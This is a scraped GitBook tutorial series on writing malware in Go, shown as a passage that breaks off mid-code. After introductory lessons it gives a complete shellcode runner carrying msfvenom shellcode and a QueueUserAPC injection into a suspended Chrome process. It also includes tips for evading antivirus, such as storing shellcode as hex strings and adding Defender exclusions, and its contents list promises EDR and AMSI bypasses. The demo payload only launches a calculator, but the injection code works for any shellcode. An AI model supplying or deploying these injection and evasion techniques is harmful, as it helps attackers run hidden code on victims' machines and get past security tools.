# Table of Contents - [Golang Malware Development | Malware Development](#golang-malware-development-malware-development) - [Golang Programming Intro | Malware Development](#golang-programming-intro-malware-development) - [Shellcode Injection | Malware Development](#shellcode-injection-malware-development) - [2. Hello World | Malware Development](#2-hello-world-malware-development) - [DLL Injection | Malware Development](#dll-injection-malware-development) - [3. Calling MessageBox winAPI from GO | Malware Development](#3-calling-messagebox-winapi-from-go-malware-development) - [4. Shellcode Runner | Malware Development](#4-shellcode-runner-malware-development) - [3. QueueUserAPC | Malware Development](#3-queueuserapc-malware-development) - [2. Process Hollowing | Malware Development](#2-process-hollowing-malware-development) - [Payloads | Malware Development](#payloads-malware-development) - [1. Dll Injection | Malware Development](#1-dll-injection-malware-development) - [Shellcode development | Malware Development](#shellcode-development-malware-development) - [3. Malicious XLL using Golang | Malware Development](#3-malicious-xll-using-golang-malware-development) - [1. Preparing the Go Environment | Malware Development](#1-preparing-the-go-environment-malware-development) - [1. Basic DLL using Golang | Malware Development](#1-basic-dll-using-golang-malware-development) - [2. Malicious DLL using Golang | Malware Development](#2-malicious-dll-using-golang-malware-development) - [3. VPN abuse for Endpoint Protection Evasion | Malware Development](#3-vpn-abuse-for-endpoint-protection-evasion-malware-development) - [1. Introduction | Malware Development](#1-introduction-malware-development) - [AV Bypass | Malware Development](#av-bypass-malware-development) - [EDR Bypass | Malware Development](#edr-bypass-malware-development) - [2. Remove the shellcode from the payload | Malware Development](#2-remove-the-shellcode-from-the-payload-malware-development) - [3. Delay Execution | Malware Development](#3-delay-execution-malware-development) - [1. What are userland hooks? | Malware Development](#1-what-are-userland-hooks-malware-development) - [1. time.Sleep() 1/2 | Malware Development](#1-time-sleep-1-2-malware-development) - [4. XOR Encryption | Malware Development](#4-xor-encryption-malware-development) - [2. Userland Hooks | Malware Development](#2-userland-hooks-malware-development) - [2. time.Sleep() 2/2 | Malware Development](#2-time-sleep-2-2-malware-development) - [3. Custom Sleep function | Malware Development](#3-custom-sleep-function-malware-development) - [1. Keystone Engine | Malware Development](#1-keystone-engine-malware-development) - [1. Setting up a testing environment | Malware Development](#1-setting-up-a-testing-environment-malware-development) - [2. Load a fresh copy of the dll from disk | Malware Development](#2-load-a-fresh-copy-of-the-dll-from-disk-malware-development) - [1. Classic Shellcode Injection | Malware Development](#1-classic-shellcode-injection-malware-development) - [2. Global Protect Abuse 2/2 | Malware Development](#2-global-protect-abuse-2-2-malware-development) - [2. Reflective DLL Injection | Malware Development](#2-reflective-dll-injection-malware-development) - [5. AMSI Bypass | Malware Development](#5-amsi-bypass-malware-development) - [1. Global Protect Abuse 1/2 | Malware Development](#1-global-protect-abuse-1-2-malware-development) - [3. Programmatically detect ntdll hooks | Malware Development](#3-programmatically-detect-ntdll-hooks-malware-development) - [2. Windows x64 Shellcode Development intro | Malware Development](#2-windows-x64-shellcode-development-intro-malware-development) - [4. Direct and Indirect Syscalls (shellcode runner) | Malware Development](#4-direct-and-indirect-syscalls-shellcode-runner-malware-development) - [3. Transforming DLLs into Shellcode | Malware Development](#3-transforming-dlls-into-shellcode-malware-development) --- # Golang Malware Development | Malware Development I have been writing a lot of code the last few years that lives on my desktop and then disappears forever. I decided to start posting code I have written in GO which will hopefully help others learn malware development in an easy to learn language. I plan to post simple stuff such as shellcode runners etc. and then start posting more advanced techniques for EDR bypasses, how to build red team infrastructure and how to navigate heavily monitored environments. [](https://www.scriptchildie.com/#you-can-reach-out-to-me-on) You can reach out to me on: ---------------------------------------------------------------------------------------------- ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FPoZJ9SHqQwDVaXyQKq4H%252FTwitter_white.svg%3Falt%3Dmedia%26token%3Decc33540-aab4-4ffa-b293-cb5bdfd0bfba&width=40&dpr=4&quality=100&sign=fdd06e7e&sv=2)[@scriptchildie](https://twitter.com/ScriptChildie) ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FrSTfLmgFBjJcGPWrRVPN%252FGmail_white.svg%3Falt%3Dmedia%26token%3De57728cc-df1e-4002-a4c0-8e01c34d4f29&width=40&dpr=4&quality=100&sign=8613a1c3&sv=2) [email](mailto:scriptchildie@protonmail.com) ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fmg7Yma7cC1tdxbeTykGz%252FGithub_white.svg%3Falt%3Dmedia%26token%3D13341ee4-7b17-4579-9f0b-1da382ce74ea&width=40&dpr=4&quality=100&sign=b322474c&sv=2) [scriptchildie](https://github.com/scriptchildie) ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FrDfz03Qb0aiQZP4WROA6%252FDiscord_white.svg%3Falt%3Dmedia%26token%3D88098c91-e500-424e-9fdd-1c4e06825fcc&width=40&dpr=4&quality=100&sign=ffdfda78&sv=2)scriptchildie Last updated 1 year ago Was this helpful? --- # Golang Programming Intro | Malware Development [1\. Preparing the Go Environment](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/1.-preparing-the-go-environment) [2\. Hello World](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/2.-hello-world) [3\. Calling MessageBox winAPI from GO](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/3.-calling-messagebox-winapi-from-go) [4\. Shellcode Runner](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner) Was this helpful? --- # Shellcode Injection | Malware Development [1\. Classic Shellcode Injection](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/1.-classic-shellcode-injection) [2\. Process Hollowing](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/2.-process-hollowing) [3\. QueueUserAPC](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/3.-queueuserapc) Was this helpful? --- # 2. Hello World | Malware Development To make sure that everything is running as expected let's write a quick "hello world" program. Create a new folder where the project will live and run the following command: Copy go mod init helloWorld Running the command will create the [go.mod](https://go.dev/doc/modules/gomod-ref) file. We then have to create a `main.go` file in the same directory. The hello world code is shown below: main.go Copy package main import "fmt" func main() { fmt.Println("Hello World") } To simply run the code, navigate to the same directory as `main.go` and execute: Copy go run . To build it as a stand alone executable simply run Copy go build . The beauty of go unlike other languages is that it will figure out all dependencies and packages used. No need to download them separately. Last updated 2 years ago Was this helpful? --- # DLL Injection | Malware Development [1\. Dll Injection](https://www.scriptchildie.com/code-injection-techniques/dll-injection/1.-dll-injection) [2\. Reflective DLL Injection](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection) Was this helpful? --- # 3. Calling MessageBox winAPI from GO | Malware Development _Windows APIs, or Application Programming Interfaces, are sets of functions, procedures, and protocols provided by the Microsoft Windows operating system to allow software applications to interact with the system and its underlying components._ A full list of (documented) windows APIs can be found on Microsoft's [website](https://learn.microsoft.com/en-us/windows/win32/apiindex/windows-api-list) . For this example we will call the [MessageBox](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox) API. Microsoft provides the Syntax to call the API from C++. Copy int MessageBox( [in, optional] HWND hWnd, [in, optional] LPCTSTR lpText, [in, optional] LPCTSTR lpCaption, [in] UINT uType ); There are two packages that will help us call Windows APIs from GO. Let's explore both ways. [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/3.-calling-messagebox-winapi-from-go#windows-package) [Windows Package](https://pkg.go.dev/golang.org/x/sys/windows) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- The Windows package is the easiest way of calling windows APIs. It provides a Go interface to low level windows APIs. #### [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/3.-calling-messagebox-winapi-from-go#pros) PROS: * Easy to use * No need to translate between C and GO data types * IntelliSense will show the arguments needed in the IDE when the package is imported #### [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/3.-calling-messagebox-winapi-from-go#cons) CONS: * Not every Windows API is included in this package As mentioned above when the package is imported we will have syntax recommendations straight in the IDE. It shows parameter data types required and any potential errors. Also the return values are shown on the far right. (ret int32, err error) ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F59Edwew90uxgH05lyhUN%252Fimage.png%3Falt%3Dmedia%26token%3Dcafd9e0b-4971-4ae0-9a64-4b2036ae88db&width=768&dpr=4&quality=100&sign=54b1687a&sv=2) IntelliSense recommendation Copy package main import ( "golang.org/x/sys/windows" ) func main() { hWnd := uintptr(0) windows.MessageBox( windows.HWND(hWnd), // [in, optional] HWND hWnd, windows.StringToUTF16Ptr("Used Windows Package"), // [in, optional] LPCTSTR lpText, windows.StringToUTF16Ptr("MessageBox 1/2"), // [in, optional] LPCTSTR lpCaption, windows.MB_OK) // [in] UINT uType } [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/3.-calling-messagebox-winapi-from-go#syscall-package) [Syscall Package](https://pkg.go.dev/syscall) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- The syscall package is harder to use but more powerful #### [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/3.-calling-messagebox-winapi-from-go#pros-1) PROS: * Call any function from any DLL #### [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/3.-calling-messagebox-winapi-from-go#cons-1) CONS: * No IntelliSense * Manually convert Windows to GO data types The following Table from the book "Black Hat Go: Go Programming For Hackers" (Highly recommended btw) helps with the translation of datatypes Windows Data Type Go Data Type BOOLEAN byte BOOL int32 BYTE byte DWORD uint32 DWORD32 uint32 DWORD64 uint32 WORD uint16 HANDLE uintptr LPVOID uintptr SIZE\_T uintptr LPCVOID uintptr HMODULE uintptr LPCSTR uintptr LPDWORD uintptr Having All the information we need we can proceed writing the code for our messagebox. From the MessageBox [reference page](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox#requirements) we can see that function MessageBox is exported in the User32.dll. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FJ6iUCvTBS2Bin7p5jbsA%252Fimage.png%3Falt%3Dmedia%26token%3Df54823a0-99f6-4c9f-871c-7a8ed9e2a882&width=768&dpr=4&quality=100&sign=d6dbea51&sv=2) [MessageBox Requirements](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox#requirements) We should first import the dll and get the API address using the following code Copy user32dll := syscall.NewLazyDLL("User32.dll") procMsgBox := user32dll.NewProc("MessageBoxW") We can then get all our parameters declared before passing them to the function Copy hWnd = uintptr(0) lpText, _ := syscall.UTF16PtrFromString("Used Syscall Package") lpCaption, _:= syscall.UTF16PtrFromString("MessageBox 2/2") uType := uint(0) And finally we can call the function Copy procMsgBox.Call( hWnd, uintptr(unsafe.Pointer(lpText)), uintptr(unsafe.Pointer(lpCaption)), uintptr(uType)) ### [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/3.-calling-messagebox-winapi-from-go#complete-code) Complete Code: Copy package main import ( "log" "syscall" "unsafe" "golang.org/x/sys/windows" ) func main() { // windows package hWnd := uintptr(0) windows.MessageBox( windows.HWND(hWnd), // [in, optional] HWND hWnd, windows.StringToUTF16Ptr("Used Windows Package"), // [in, optional] LPCTSTR lpText, windows.StringToUTF16Ptr("MessageBox 1/2"), // [in, optional] LPCTSTR lpCaption, windows.MB_OK) // [in] UINT uType // syscall package user32dll := syscall.NewLazyDLL("User32.dll") procMsgBox := user32dll.NewProc("MessageBoxW") hWnd = uintptr(0) lpText, err := syscall.UTF16PtrFromString("Used Syscall Package") if err != nil { log.Fatalln("lpText UTF16PtrFromString Failed") } lpCaption, err := syscall.UTF16PtrFromString("MessageBox 2/2") if err != nil { log.Fatalln("lpCaption UTF16PtrFromString Failed") } uType := uint(0) procMsgBox.Call( hWnd, uintptr(unsafe.Pointer(lpText)), uintptr(unsafe.Pointer(lpCaption)), uintptr(uType)) } Last updated 2 years ago Was this helpful? --- # 4. Shellcode Runner | Malware Development With all the knowledge we have it's now time to run some shellcode. From ChatGPT : _"S_hellcode is a small piece of machine code typically used in the context of software exploits and malicious activities. It's called "shellcode" because it often provides a way to gain control over a computer system and execute arbitrary commands, effectively providing a shell (command-line interface) to an attacker._"_ To run shellcode in the current process the following windows APIs will be called: * [VirtualAlloc](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) * [RtlMoveMemory](https://learn.microsoft.com/en-us/windows/win32/devnotes/rtlmovememory) * [VirtualProtect](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect) (optional) * [CreateThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread) * [WaitForSingleObject](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject) To generate shellcode we will use [msfvenom](https://www.offsec.com/metasploit-unleashed/msfvenom/) . The payload will not perform anything malicious but the behaviour is usually flagged by AV engines. It might be a good idea to add your working directory into the AV exception list. ([reference for defender](https://support.microsoft.com/en-us/windows/add-an-exclusion-to-windows-security-811816c0-4dfd-af4a-47e4-c301afe13b26#:~:text=Go%20to%20Start%20%3E%20Settings%20%3E%20Update,select%20Add%20or%20remove%20exclusions.) ) Let's start constructing our code. [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner#shellcode-generation) Shellcode Generation ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ For this example we will generate a shellcode that is used to pop a calculator. I am currently working on windows 11 x64 so adjust your payload accordingly. On kali I ran the following command: Copy ┌──(kali㉿kali)-[~] └─$ msfvenom -f hex -p windows/x64/exec cmd=calc [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 272 bytes Final size of hex file: 544 bytes fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300 * \-f hex -> hex is the output format. hex will give me hex characters in a string * \-p windows/x64/exec -> this is the payload. It executes a command in a x64 bit system * cmd=calc -> is the command to run. In our case a calculator [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner#go-program) Go Program ---------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner#transform-the-shellcode-from-string-to-byte-array) Transform the shellcode from string to byte array The shellcode in a string format is not useful to us. We have to turn the string into a byte array. Thankfully a package exists that could do the conversion for us. **Fun fact**: Storing shellcode as a hex string helps evading static AV signatures (sometimes). Storing the shellcode in a byte slice will flag immediately (with most AVs) Copy sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300") ### [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner#memory-allocation) Memory Allocation We then have to allocate memory for our shellcode. For memory allocation we will use the VirtualAlloc API. This API exists in the windows package so we will go ahead to implement it. Copy LPVOID VirtualAlloc( [in, optional] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flAllocationType, [in] DWORD flProtect ); * lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0 * dwSize: Will be the size of our shellcode * flAllocationType: We need to reserve and commit memory * flProtect: This can be done in a number of ways. To write and execute shellcode we will need rwx permissions. It is however unusual for legitimate programs to allocate memory with rwx permissions and it is usually flagged my AV engines. Another option is to assign rx or rw and then change permissions as needed for writing and executing with VirtualProtect. Copy fmt.Println("[+] Allocating memory for shellcode") addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) if err != nil { log.Fatalf("VirtualAlloc Failed: %v\n", err) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) ### [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner#copy-shellcode-bytes-to-the-allocated-memory) Copy Shellcode bytes to the allocated memory To write the shellcode bytes to memory we will use the RtlMoveMemory API. Copy VOID RtlMoveMemory( _Out_       VOID UNALIGNED *Destination, _In_  const VOID UNALIGNED *Source, _In_        SIZE_T         Length ); The arguments are self explanatory: * Destination address is the address returned from the VirtualAlloc API * Source is a pointer, pointing at the beginning of our sc byte array * Length is the length of our shellcode Since the RtlMoveMemory is not part of the windows package we will use the syscall package to import it manually. Copy modntdll := syscall.NewLazyDLL("Ntdll.dll") procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory") procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc))) fmt.Println("[+] Wrote shellcode bytes to destination address") ### [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner#changing-the-memory-permissions-to-rx) Changing the Memory permissions to RX Since we assigned the memory permissions to ReadWrite we have to change the permissions to RX. Otherwise our program will crash when trying to start a thread from that memory region. To do this we need to call the VirtualProtect API. Copy BOOL VirtualProtect( [in] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flNewProtect, [out] PDWORD lpflOldProtect ); * lpAddress: is the target address return from VirtualAlloc * dwSize: is the size of our shellcode * flNewProtect: is the new permissions we would like to assign PAGE\_EXECUTE\_READ * lpflOldProtect: will store the old permissions in case we want to restore them later on. Copy fmt.Println("[+] Changing Permissions to RX") var oldProtect uint32 err = windows.VirtualProtect(addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect) if err != nil { log.Fatalf("VirtualProtect Failed: %v", err) } ### [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner#create-a-new-thread) Create a new Thread Finally, we need to create a new thread pointing to our shellcode. CreateThread windows api will be used. Copy HANDLE CreateThread( [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in, optional] __drv_aliasesMem LPVOID lpParameter, [in] DWORD dwCreationFlags, [out, optional] LPDWORD lpThreadId ); Although this is not implemented in the windows package it's fairly easy to implement since we only need to specify the lpStartAddress parameter. Copy modKernel32 := syscall.NewLazyDLL("kernel32.dll") procCreateThread := modKernel32.NewProc("CreateThread") tHandle, _, lastErr := procCreateThread.Call( uintptr(0), uintptr(0), addr, uintptr(0), uintptr(0), uintptr(0)) if tHandle == 0 { log.Fatalf("Unable to Create Thread: %v\n", lastErr) } fmt.Printf("[+] Handle of newly created thread: %x \n", tHandle) ### [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner#finally-we-wait-for-the-shellcode-to-run) Finally we wait for the shellcode to run This API allows us to wait for the thread to execute otherwise the program will terminate before the calculator pops up. Copy DWORD WaitForSingleObject( [in] HANDLE hHandle, [in] DWORD dwMilliseconds ); hHandle: We will provide the handle returned by the CreateThread function dwMilliseconds: We set that to infinite Copy windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE) ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F8PaE2wJzbIrZS6E1LbOX%252Fimage.png%3Falt%3Dmedia%26token%3D84932685-8d6e-4b58-a529-f65d4ed91cfd&width=768&dpr=4&quality=100&sign=d1bf1861&sv=2) ### [](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner#complete-code) Complete Code Copy package main import ( "encoding/hex" "fmt" "log" "syscall" "unsafe" "golang.org/x/sys/windows" ) func main() { //msfvenom -f hex -p windows/x64/exec cmd=calc sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300") fmt.Println("[+] Allocating memory for shellcode") addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) if err != nil { log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", err) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) modntdll := syscall.NewLazyDLL("Ntdll.dll") procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory") procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc))) fmt.Println("[+] Wrote shellcode bytes to destination address") fmt.Println("[+] Changing Permissions to RX") var oldProtect uint32 err = windows.VirtualProtect(addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect) if err != nil { log.Fatalf("[FATAL] VirtualProtect Failed: %v", err) } modKernel32 := syscall.NewLazyDLL("kernel32.dll") procCreateThread := modKernel32.NewProc("CreateThread") tHandle, _, lastErr := procCreateThread.Call( uintptr(0), uintptr(0), addr, uintptr(0), uintptr(0), uintptr(0)) if tHandle == 0 { log.Fatalf("Unable to Create Thread: %v\n", lastErr) } fmt.Printf("[+] Handle of newly created thread: %x \n", tHandle) windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE) } Last updated 2 years ago Was this helpful? --- # 3. QueueUserAPC | Malware Development This technique is a combination of the two previous techniques. Unlike process hollowing it will not overwrite the contents of the main thread but allocate a new memory region. The main difference is that QueueUserAPC will be used to execute our shellcode when the main thread is resumed. The benefit is that we won't be calling the CreateRemoteThread API. The Windows APIs required to perform this technique are the following: * [CreateProcess](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa) * [VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex) * [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory) * [QueueUserAPC](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc) * [ResumeThread](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread) ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/3.-queueuserapc#create-suspended-process) Create suspended process Starting a process can be achieved by calling the CreateProcess API. Copy BOOL CreateProcessA( [in, optional] LPCSTR lpApplicationName, [in, out, optional] LPSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCSTR lpCurrentDirectory, [in] LPSTARTUPINFOA lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation ); The most important parameter is the dwCreationFlags should be set to CREATE\_SUSPENDED (0x04) Copy var startupInfo windows.StartupInfo var outProcInfo windows.ProcessInformation path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe" err := windows.CreateProcess(nil, windows.StringToUTF16Ptr(path), nil, nil, false, windows.CREATE_SUSPENDED, nil, nil, &startupInfo, &outProcInfo) if err != nil { log.Fatalf("[FATAL] Failed to Create Process: %v", err) } fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId) fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread) ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fgo3PurTcoXUbK00dYXTn%252Fimage.png%3Falt%3Dmedia%26token%3Df180a485-3252-4cc2-9751-b036d3485bc0&width=768&dpr=4&quality=100&sign=d75985d8&sv=2) Process Created ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FO0LF2Ipzx495UB8DzzxN%252Fimage.png%3Falt%3Dmedia%26token%3Db05848df-1431-497d-af54-e6240f3e5896&width=768&dpr=4&quality=100&sign=1b02512e&sv=2) Suspended Chrome.exe process [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/3.-queueuserapc#allocating-memory-on-remote-process) Allocating memory on remote process ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- VirtuallAllocEx will be used for allocating memory for our shellcode in the remote memory. Copy LPVOID VirtualAllocEx( [in] HANDLE hProcess, [in, optional] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flAllocationType, [in] DWORD flProtect ); * hProcess: Process Handle returned by the CreateProcess API * lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0 * dwSize: Will be the size of our shellcode * flAllocationType: We need to reserve and commit memory * flProtect: This can be done in a number of ways. To write and execute shellcode we will need rx permissions. Copy modKernel32 := syscall.NewLazyDLL("kernel32.dll") procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx") addr, _, lastErr := procVirtualAllocEx.Call( uintptr(pHandle), uintptr(0), uintptr(len(sc)), uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE), uintptr(windows.PAGE_EXECUTE_READ)) if addr == 0 { log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/3.-queueuserapc#writing-shellcode-to-remote-process) Writing shellcode to remote process WriteProcessMemory winapi will be used to write shellcode to the remote memory Copy BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten ); * hProcess: Process Handle returned by the CreateProcess API * lpBaseAddress: Value returned from VirtualAllocEx * lpBuffer: A pointer to the beginning of our shellcode byte array * nSize: Size of our shellcode * lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address Copy var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(outProcInfo.Process, uintptr(addr), &sc[0], uintptr(len(sc)), &numberOfBytesWritten) if err != nil { log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err) } fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc)) ### [](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/3.-queueuserapc#add-a-user-mode-apc-asynchronous-procedure-call) Add a user-mode APC ( Asynchronous Procedure Call) Copy DWORD QueueUserAPC( [in] PAPCFUNC pfnAPC, [in] HANDLE hThread, [in] ULONG_PTR dwData ); pfnAPC: This will be the address returned by VirtualAllocEx hThread: Returned by the createprocess API dwData: Set to 0 Copy procQueueUserAPC := modKernel32.NewProc("QueueUserAPC") success1, _, lastErr := procQueueUserAPC.Call(addr, uintptr(outProcInfo.Thread), 0) if success1 == 0 { log.Fatalf("[FATAL] QueueUserAPC failed. %v\n", 